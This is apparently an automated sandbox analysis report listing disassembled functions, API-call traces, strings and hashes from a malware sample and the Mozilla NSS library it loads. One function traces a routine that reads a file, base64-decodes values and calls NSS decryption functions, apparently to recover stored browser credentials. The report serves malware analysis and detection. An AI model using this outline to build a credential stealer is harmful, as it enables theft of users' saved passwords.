Part of subcall function 6C826910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C8269BE
Part of subcall function 6C826910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C8269D2
Part of subcall function 6C826910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C8269DF
Part of subcall function 6C826910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C826A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C826D8C
free.MOZGLUE(00000000), ref: 6C826DC5
free.MOZGLUE(?), ref: 6C826DD6
free.MOZGLUE(?), ref: 6C826DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C826E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C826E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C826E72
free.MOZGLUE(?), ref: 6C826EA7
free.MOZGLUE(?), ref: 6C826EC4
free.MOZGLUE(?), ref: 6C826ED5
free.MOZGLUE(00000000), ref: 6C826EE3
free.MOZGLUE(?), ref: 6C826EF4
free.MOZGLUE(?), ref: 6C826F08
free.MOZGLUE(00000000), ref: 6C826F35
free.MOZGLUE(?), ref: 6C826F44
free.MOZGLUE(?), ref: 6C826F5B
free.MOZGLUE(00000000), ref: 6C826F65

Part of subcall function 6C826C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C82781D,00000000,6C81BE2C,?,6C826B1D,?,?,?,?,00000000,00000000,6C82781D), ref: 6C826C40
Part of subcall function 6C826C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C82781D,?,6C81BE2C,?), ref: 6C826C58
Part of subcall function 6C826C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C82781D), ref: 6C826C6F
Part of subcall function 6C826C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C826C84
Part of subcall function 6C826C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C826C96
Part of subcall function 6C826C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C826CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C826F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C826FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C826FF4

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID:
API String ID: 1304971872-0
Opcode ID: 0b59ee3a0ea1ee0e44078fcc754920ae313789be510558c65241919f2ebe5d29
Instruction ID: c51f7e4833add158d950790185603e11fcfcab0427b9942b7695aeb097b6d39f
Opcode Fuzzy Hash: 0b59ee3a0ea1ee0e44078fcc754920ae313789be510558c65241919f2ebe5d29
Instruction Fuzzy Hash: A7B1A6B4E012199FDF30CBA9DA48B9E77B5AF05348F240925E814E7640E739E994CBE1

Function 6C824C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C824C4C
EnterCriticalSection.KERNEL32(?), ref: 6C824C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C824CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C824CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C824CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C824D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C824D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C824DB7

Part of subcall function 6C88DD70: TlsGetValue.KERNEL32 ref: 6C88DD8C
Part of subcall function 6C88DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C88DDB4

Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07AD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07CD
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C76204A), ref: 6C7D07D6
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C76204A), ref: 6C7D07E4
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,6C76204A), ref: 6C7D0864
Part of subcall function 6C7D07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C7D0880
Part of subcall function 6C7D07A0: TlsSetValue.KERNEL32(00000000,?,?,6C76204A), ref: 6C7D08CB
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08D7
Part of subcall function 6C7D07A0: TlsGetValue.KERNEL32(?,?,6C76204A), ref: 6C7D08FB

TlsGetValue.KERNEL32 ref: 6C824DD7
EnterCriticalSection.KERNEL32(?), ref: 6C824DEC
PR_Unlock.NSS3(?), ref: 6C824E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C824E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C824E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C824E71
free.MOZGLUE(00000000), ref: 6C824E7A
PR_Unlock.NSS3(?), ref: 6C824EA2
TlsGetValue.KERNEL32 ref: 6C824EC1
EnterCriticalSection.KERNEL32(?), ref: 6C824ED6
PR_Unlock.NSS3(?), ref: 6C824F01
free.MOZGLUE(00000000), ref: 6C824F2A

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: e1e398ae7d0e51a91edaf85e0b6d7e23362bd7676ee1b9bd39459de1cbd8431a
Instruction ID: dc3e992a85b364bd14462b9ccd28fa0b79423f8278b3e14442e531de13ebda7e
Opcode Fuzzy Hash: e1e398ae7d0e51a91edaf85e0b6d7e23362bd7676ee1b9bd39459de1cbd8431a
Instruction Fuzzy Hash: 2DB13575A00205DFEB20EF28D948AAA77B4BFC531DF144925ED0597B01E738E9A4CBE1

Function 0040C990 Relevance: 30.1, APIs: 16, Strings: 1, Instructions: 383filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0040C9A5

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcatA.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00920020,00000000,?,0042144C,00000000,?,?), ref: 0040CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0040CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0040CAA8
??2@YAPAXI@Z.MSVCRT(-00000001), ref: 0040CAB5
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0040CAD9
StrStrA.SHLWAPI(?,00920068,00420B52), ref: 0040CAF7
StrStrA.SHLWAPI(00000000,00920098), ref: 0040CB1E
StrStrA.SHLWAPI(?,00920E38,00000000,?,00421458,00000000,?,00000000,00000000,?,00918430,00000000,?,00421454,00000000,?), ref: 0040CCA2
StrStrA.SHLWAPI(00000000,00920C98), ref: 0040CCB9

Part of subcall function 0040C820: memset.MSVCRT ref: 0040C853
Part of subcall function 0040C820: lstrlenA.KERNEL32(?,00000001,?,00000000,00000000,00000000,00000000,?,00918530), ref: 0040C871
Part of subcall function 0040C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0040C87C
Part of subcall function 0040C820: PK11_GetInternalKeySlot.NSS3 ref: 0040C88A
Part of subcall function 0040C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0040C8A5
Part of subcall function 0040C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0040C8EB
Part of subcall function 0040C820: memcpy.MSVCRT(?,?,?), ref: 0040C912
Part of subcall function 0040C820: PK11_FreeSlot.NSS3(?), ref: 0040C961

StrStrA.SHLWAPI(?,00920C98,00000000,?,0042145C,00000000,?,00000000,00918530), ref: 0040CD5A
StrStrA.SHLWAPI(00000000,009186D0), ref: 0040CD71

Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B46), ref: 0040C943
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B47), ref: 0040C957
Part of subcall function 0040C820: lstrcatA.KERNEL32(?,00420B4E), ref: 0040C978

lstrlenA.KERNEL32(00000000), ref: 0040CE44
CloseHandle.KERNEL32(00000000), ref: 0040CE9C
NSS_Shutdown.NSS3 ref: 0040CEAA

Strings

, xrefs: 0040C9C6

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$??2@AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeStringmemcpymemset
String ID:
API String ID: 2503097572-3916222277
Opcode ID: dcbad4b65808f71f24a120a684aca499daed0bd0a0d0310cc2b1bc67e8a90dea
Instruction ID: fb2464dfdb87d028b9341c66972094ccea7bc9213c5b9a6eafc00a4a54def107
Opcode Fuzzy Hash: dcbad4b65808f71f24a120a684aca499daed0bd0a0d0310cc2b1bc67e8a90dea
Instruction Fuzzy Hash: 2FE13E71911108ABCB14FBA1DC91FEEB779AF14314F40416EF10673191EF386A9ACB6A

Function 6C876E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C876BF7), ref: 6C876EB6

Part of subcall function 6C7D1240: TlsGetValue.KERNEL32(00000040,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D1267
Part of subcall function 6C7D1240: EnterCriticalSection.KERNEL32(?,?,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D127C
Part of subcall function 6C7D1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D1291
Part of subcall function 6C7D1240: PR_Unlock.NSS3(?,?,?,?,6C7D116C,NSPR_LOG_MODULES), ref: 6C7D12A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C91FC0A,6C876BF7), ref: 6C876ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C876EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6C876EFC
PR_NewLock.NSS3 ref: 6C876F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C876F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6C876BF7), ref: 6C876F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6C876BF7), ref: 6C876F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6C876BF7), ref: 6C876FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6C876BF7), ref: 6C876FFD

Strings

SSLFORCELOCKS, xrefs: 6C876F2B
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6C876FDB
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6C876F4F
NSS_SSL_CBC_RANDOM_IV, xrefs: 6C876FF8
# SSL/TLS secrets log file, generated by NSS, xrefs: 6C876EF7
SSLKEYLOGFILE, xrefs: 6C876EB1

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: d04567d1f01915b16dbba7a91fb17d2c72564d8d522d93092ecbe5ff15ff460c
Instruction ID: d7451c019e3b39e5ff8576fbd9d43997acea06d526388c185916894c8a9a3ed1
Opcode Fuzzy Hash: d04567d1f01915b16dbba7a91fb17d2c72564d8d522d93092ecbe5ff15ff460c
Instruction Fuzzy Hash: 65A10672A59D8487E731563CCE0135C32A1EB9732DFA88B69E835C7ED4FB35A484C261

Function 6C816D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C816D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C816DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C816DC3

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C816DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C816DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C816E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C816E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C816E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C816EB9

Strings

pData = 0x%p, xrefs: 6C816DF5
ulDataLen = %d, xrefs: 6C816E0E
pulDigestLen = 0x%p, xrefs: 6C816E42
C_Digest, xrefs: 6C816D81
hSession = 0x%x, xrefs: 6C816D9E, 6C816DAE
pDigest = 0x%p, xrefs: 6C816E27
(CK_INVALID_HANDLE), xrefs: 6C816DBC
*pulDigestLen = 0x%x, xrefs: 6C816EB4

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 78bcd585697a710c65502784137e6d19398ade3673c8fdf0eb637a589ce0d60b
Instruction ID: 983605c0848ccc6f19e39fb3dc10490c7e7ade4e8d1897967e1f4c40c242224d
Opcode Fuzzy Hash: 78bcd585697a710c65502784137e6d19398ade3673c8fdf0eb637a589ce0d60b
Instruction Fuzzy Hash: BE41C435605005EFDB20AB58DE48F8A3BF1EB8661DF148834E408D7A12DB31E909CB91

Function 6C838E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C838E01,00000000,6C839060,6C940B64), ref: 6C838E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C838E01,00000000,6C839060,6C940B64), ref: 6C838E9E
PORT_ArenaAlloc_Util.NSS3(6C940B64,00000001,?,?,?,?,6C838E01,00000000,6C839060,6C940B64), ref: 6C838EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C838E01,00000000,6C839060,6C940B64), ref: 6C838EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C838E01,00000000,6C839060,6C940B64), ref: 6C838ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C838E01,00000000,6C839060,6C940B64), ref: 6C838EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C838E01), ref: 6C838EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C940B64,6C940B64), ref: 6C838F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C838F3F

Part of subcall function 6C83A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C83A421,00000000,00000000,6C839826), ref: 6C83A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C83904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C838E76

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 02ab736f084f389f47e9b8f7b116f0fa7b29947fe177d6025ce10da787f064e1
Instruction ID: ec33a20c6db0d34846530be49041c4a014045125b8a49cf5b5e0b3cffc64eb16
Opcode Fuzzy Hash: 02ab736f084f389f47e9b8f7b116f0fa7b29947fe177d6025ce10da787f064e1
Instruction Fuzzy Hash: 0F6192B5D002199BDB20CF95CE80AABB7B5EF84358F145929DC1CA7740EB35A915CBE0

Function 6C7E8E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7E8E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C7E8E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7E8EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C9118D0,?), ref: 6C7E8F03
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C7E8F19
PL_FreeArenaPool.NSS3(?), ref: 6C7E8F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C7E8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C7E8F65
PL_FinishArenaPool.NSS3(?), ref: 6C7E8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C7E8FFE
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C7E9012
PL_FreeArenaPool.NSS3(?), ref: 6C7E9024
PL_FinishArenaPool.NSS3(?), ref: 6C7E902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C7E903E

Strings

security, xrefs: 6C7E8EE7

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 751ef8164da89bc629c608375841cce0e9ccd3581467664f3d7f873932487f56
Instruction ID: c665e1d0f033cf2cc2646f1fa3f4a8e50215e4633e2c2798996ecb0042cb6273
Opcode Fuzzy Hash: 751ef8164da89bc629c608375841cce0e9ccd3581467664f3d7f873932487f56
Instruction Fuzzy Hash: 245127B3608300ABD7209B5CDE41BAB77E8AB8A75CF44493EF95597B80E731D9088753

Function 6C814E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C814E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C814EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C814EC7

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C814EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C814F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C814F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C814F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C814F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C814F68

Strings

pTemplate = 0x%p, xrefs: 6C814F4A
C_GetAttributeValue, xrefs: 6C814E7E
hSession = 0x%x, xrefs: 6C814EA2, 6C814EB2
ulCount = %d, xrefs: 6C814F63
(CK_INVALID_HANDLE), xrefs: 6C814EC0, 6C814F13
hObject = 0x%x, xrefs: 6C814EF5, 6C814F05

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 2a52705939c180fb9dacc02ffa63e0bcebd0df275732e3b362028c8cdb56d1b4
Instruction ID: de8c07a64ce597f11dfe5c866f3bbabd7b35425c1079985a4b5b8ee212e7c03d
Opcode Fuzzy Hash: 2a52705939c180fb9dacc02ffa63e0bcebd0df275732e3b362028c8cdb56d1b4
Instruction Fuzzy Hash: 4041B235609105AFDB20AF58DE48F9A37F5ABC231DF148838E508A7B11D730AA49CBA1

Function 6C814CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C814CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C814D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C814D37

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C814D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C814D7B
